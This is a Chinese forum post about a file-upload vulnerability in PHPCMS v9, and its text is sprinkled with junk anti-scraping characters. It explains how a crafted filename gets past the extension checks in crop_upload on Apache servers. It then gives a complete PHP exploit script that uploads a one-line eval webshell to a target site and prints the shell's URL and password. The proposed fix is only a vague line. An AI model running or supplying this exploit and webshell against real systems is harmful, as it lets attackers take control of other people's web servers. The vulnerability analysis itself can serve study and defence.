找回密码
 立即注册
查看: 2912|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行9 Z' Y+ e3 J; h" c7 v8 n
, `6 R- K9 O8 h" A* T# D3 M& @5 W
简要描述:, e! ^, I* v* k& r& W
! Q1 m2 h% N- M4 F1 ?
phpcms v9 getshell (apache)2 s! f" F  K% \" z& z
详细说明:- X; I6 l# O! O7 z9 B; n6 S

1 ?2 C! r* f) H/ w; l6 Q% \漏洞文件:phpcms\modules\attachment\attachments.php
6 G9 y& j3 w4 h, q- {& n( L
# Y* i( ~( ~" }$ zpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ) t8 g' ^$ U7 p. B$ f; p# D
后缀检测:phpcms\modules\attachment\functions\global.func.php  o# J4 h' k0 R- j4 o- ~( p  `2 o7 |

& V4 y3 M0 Q4 N
6 h- a2 L! m' V; N9 _4 Z2 D; l6 ?3 k/ g! Z3 g3 ~% Y, s  X# z: }/ j9 [
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  2 f( @: j) f6 ~. R7 r

' s7 f! m& F# k  K: |( T关键函数:  n* L) Q1 B/ c4 h
; j* C0 E0 C! J2 ?% J

) P) h$ S) {; q! A! ]' }0 O" |% {
+ s7 K9 t/ n3 Xfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
% t+ }- ?/ ^, F! S+ j3 P2 q3 t( D
2 x5 [) y( K" Z  J  Fileext函数是对文件后缀名的提取。
9 l: R- v7 X+ _+ y0 k/ `; N根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php: H; k8 y4 b$ G; t: N' E) F2 m
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。8 ?! o+ |8 W! y: W& Z/ w( y
我们回到public function crop_upload() 函数中5 g) g7 C) T; c5 p  c+ z
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
2 ?# k. y" _5 j: c在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
5 D3 e- O4 f" `这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。6 b; z  l4 Z/ A, h0 ?
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。3 w& e+ `1 |- @" E, v
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
6 G9 B% L) h: ~! d& d看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 {: o2 w, a. N漏洞证明:1 ?4 ]3 f8 ]% Z, R- a

! l+ T0 F7 p* N: Mexp:7 v% w$ N% d; Q1 s# z, L3 d
' o" ~8 @' d6 s+ Z- h
<?php4 @0 w! [  ^) K6 ]
error_reporting(E_ERROR);
% `& |+ _) c' R# U+ Uset_time_limit(0);
# ]( K& y! |0 ?$pass="ln";' v, V- o) V/ P; D" g
print_r('
: P) s, D) v# h+---------------------------------------------------------------------------+8 ?$ D, g7 c) y7 G- I( l! o; S: c
PHPCms V9 GETSHELL 0DAY ! {9 _6 ?- q$ u) A& |  d2 [
code by L.N.
  [$ T2 U5 x0 P: ?5 }
4 w' x3 w- O; ~* K! O2 Rapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net5 J2 W# S+ P  V, w$ r
+---------------------------------------------------------------------------+
- t1 @& e% x5 a% b& Z6 q');
6 h9 s- c% ~, m  K" }5 K/ n% N4 A3 yif ($argc < 2) {
. d: p2 t8 n' Y0 E) ]print_r('6 g; F" |& ]1 i. ?
+---------------------------------------------------------------------------+9 A; e  W/ \1 ]6 H6 T. u( K' n
Usage: php '.$argv[0].' url path" {2 L/ }) ?4 _4 N
* O8 `( b4 D5 X, A* Q0 }* o
Example:  A$ |) n! h" a* C: y7 T
1.php '.$argv[0].' lanu.sinaapp.com- E% j7 K; V3 E2 j
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
7 z' l! G2 \4 e$ W+---------------------------------------------------------------------------+. `) a6 }  F. i. F3 r- U
');2 M2 M; m. j* K: Y
exit;! J+ I2 N! j- B" L) ]
}; B2 B  m, W: v; n
) q9 C, B0 n, Z; |: ~& y3 k- }; ?4 j3 b
$url = $argv[1];$ V- d1 I- m3 P$ F' @
$path = $argv[2];
) O1 ^5 O! {' o# e1 M) p$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';- f& j2 a# i# G) n$ z8 H' X
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';4 y' C8 {+ R8 u* w: l* g& t8 W
if($ret=Create_dir($url,$path))
$ W( `* u. \: ]{1 u% W% A5 M$ H
//echo $ret;) Q1 P& A+ d0 f, Q$ |0 W9 R0 L
$pattern = "|Server:[^,]+?|U";
$ S3 W: Y  G. H( w9 r* Gpreg_match_all($pattern, $ret, $matches);( q/ U) a. w/ {5 e  v; b3 b
if($matches[0][0])/ D8 n& E% R4 ]4 y" o
{
+ l2 Z! {! p* Y/ hif(strpos($matches[0][0],'Apache') == false)* t4 ~* j: s6 F
{
# Q' a2 S3 P+ _  _echo "\n亲!此网站不是apache的网站。\n";exit;& w& E5 ]0 Y) R% f# y* M: m
}
/ S2 h1 T; \1 |. O2 [9 k' I: C, s}
/ V& j# a! R7 ]$ z! q1 R$ret = GetShell($url,$phpshell,$path,$file);3 i( q( C; P1 w% n0 V1 `
$pattern = "|http:\/\/[^,]+?\.,?|U";) R6 a/ S0 X/ t/ V9 U8 G- S( X
preg_match_all($pattern, $ret, $matches);4 e/ g) y# _4 e3 u. f
if($matches[0][0])+ I1 T4 g% H2 I+ L
{% s: q( d9 T- x% E* E
echo "\n".'密码为: '.$pass."\n";
! ]5 _1 p) Y, r7 |echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 Y/ W0 g. w/ a2 t* W# O/ p
}5 ?( Z3 L/ O6 n, w
else- P% L6 |  [, T4 q! w
{
, }( Q6 _6 y$ M3 Q+ ^4 I2 r) m$pattern = "|\/uploadfile\/[^,]+?\.,?|U";2 f4 q% q# k/ |! m1 Z) L
preg_match_all($pattern, $ret, $matches);2 Y. j( Z: G) j5 S' h7 W. y
if($matches[0][0])
3 \6 T# T5 Z. m{- B# s' e/ Q# Q) _2 ?. A
echo "\n".'密码为: '.$pass."\n";5 u, z. Z7 B, F/ y3 B1 X+ c2 U
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;$ D, Y( r; Y7 E9 Q
}& [% ~3 b4 d& z9 q  ^/ z- J1 f$ z# M
else# ]2 R) u9 @) |/ q
{8 x9 j$ U, g7 L- J& }
echo "\r\n没得到!\n";exit;
! ], M% i5 Z+ v* I0 X}
8 y7 O- d/ k3 c* Z* X7 K# Y6 R}6 f5 v1 F6 D$ x( Y: I0 ^
}- C- w& t0 N2 X7 j! E2 W: `
+ Y: F* S4 J/ _* P9 c/ g7 m* G
function GetShell($url,$shell,$path,$js)" x, k! t) P$ b5 C7 Z& t, w
{5 l, d7 ?% w5 \, C: B+ V
$content =$shell;* v( @$ ?3 ^3 ~
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$ {4 v  I) |( n# E6 Z9 d# `6 t; l$data .= "Host: ".$url."\r\n";- A% m8 j4 Z# ?8 c, R
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";, j; c* l! ^+ \# m* d0 Q/ |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; C1 F! R! j' B7 P$ G/ S$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";1 ^, s+ R, l3 Y# r. N1 @
$data .= "Connection: close\r\n";
9 H9 t) P  C; R6 P3 @2 H6 Z  E$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 f  c3 x; B! A$data .= $content."\r\n";  J- w+ ]0 T" s2 F
$ock=fsockopen($url,80);
1 C5 w* y2 b" i2 v  j- x( g  ?if (!$ock)
; d# _9 M- L1 h$ J: G{
" R0 ^; h- D) P/ K( V8 Jecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" i. Q# H5 V% Z; i6 i% ?7 N! r) N}3 }+ }- e( r+ _( @. S+ y
else
( L4 W' Y/ l  w6 m" l{
, v  ^" a4 P# v, W, Rfwrite($ock,$data);4 _. `5 v1 r' m/ ?. H
$resp = '';
) e9 ?( q+ K( l' Vwhile (!feof($ock))# Z* F' j: J7 l) j' S
{- Z, b, H5 s* Q3 K# |
$resp.=fread($ock, 1024);# s; o3 Z' b* }# m6 m$ ?1 r9 \$ Y! i, q
}7 P0 L  G" q7 c* ?3 U1 `
return $resp;
6 ]! e# Q8 t3 N8 }4 l5 W}# l& L0 V: t& C0 r4 h
}
- @0 p9 O7 J5 a" f# c: }0 h3 g4 \$ u* M! @8 r9 L& u- l2 y8 f
function Create_dir($url,$path='')3 O: W" m& \+ H# p
{7 E2 E! T: x/ e/ V5 P- w) p& n5 j
$content ='I love you';
. S5 H  b/ s( V; X0 ]$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";$ I, s" P! G$ X& H# j
$data .= "Host: ".$url."\r\n";
* \( J/ {) ~% Y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
5 e' O. W0 }, c4 |7 H7 M$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";& i* ]* j# n9 Z' j4 V* x2 N* w/ }% Q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 }) F% r. `7 S. w# {1 R  @# y
$data .= "Connection: close\r\n";& F& B, y2 x! i2 h3 i1 r
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 @- q4 y% F2 I) e1 Q) l! {
$data .= $content."\r\n";! `2 ^! W+ x; S2 [8 P
$ock=fsockopen($url,80);# J7 `# s8 J+ k2 u# k$ X
if (!$ock)& v2 Q* z& A: |6 u! \) o
{
* J1 E' g  A1 K3 recho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
# H1 }. E: t  p% L  A/ l}
( T4 N. I0 e& Bfwrite($ock,$data);. h* e% W/ D  w; o1 X! P3 L
$resp = '';
8 O* l# u  z2 J% J& E' {) `  t  Ywhile (!feof($ock)); g5 n' ?- N) D. D( l' |/ n7 F
{
3 V0 S# f% H: J3 m, y$resp.=fread($ock, 1024);
2 a& x- j+ P! d; l}
" s$ h  I$ f) }& b- {return $resp;* J) ]# c9 U  O
}3 k0 P# {8 u: H; t6 D8 H
?> % h/ X* l' b5 ?! U( R5 |) W

: r, G* F, z- p: e' q7 T1 p修复方案:3 `/ J' R5 c# r/ C0 b4 m

3 l0 _+ R% z$ J0 V' R% O& c过滤过滤再过滤4 `1 C4 b# f4 C) G8 l6 q, d
0 s- L. j* V6 x6 C. B( o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表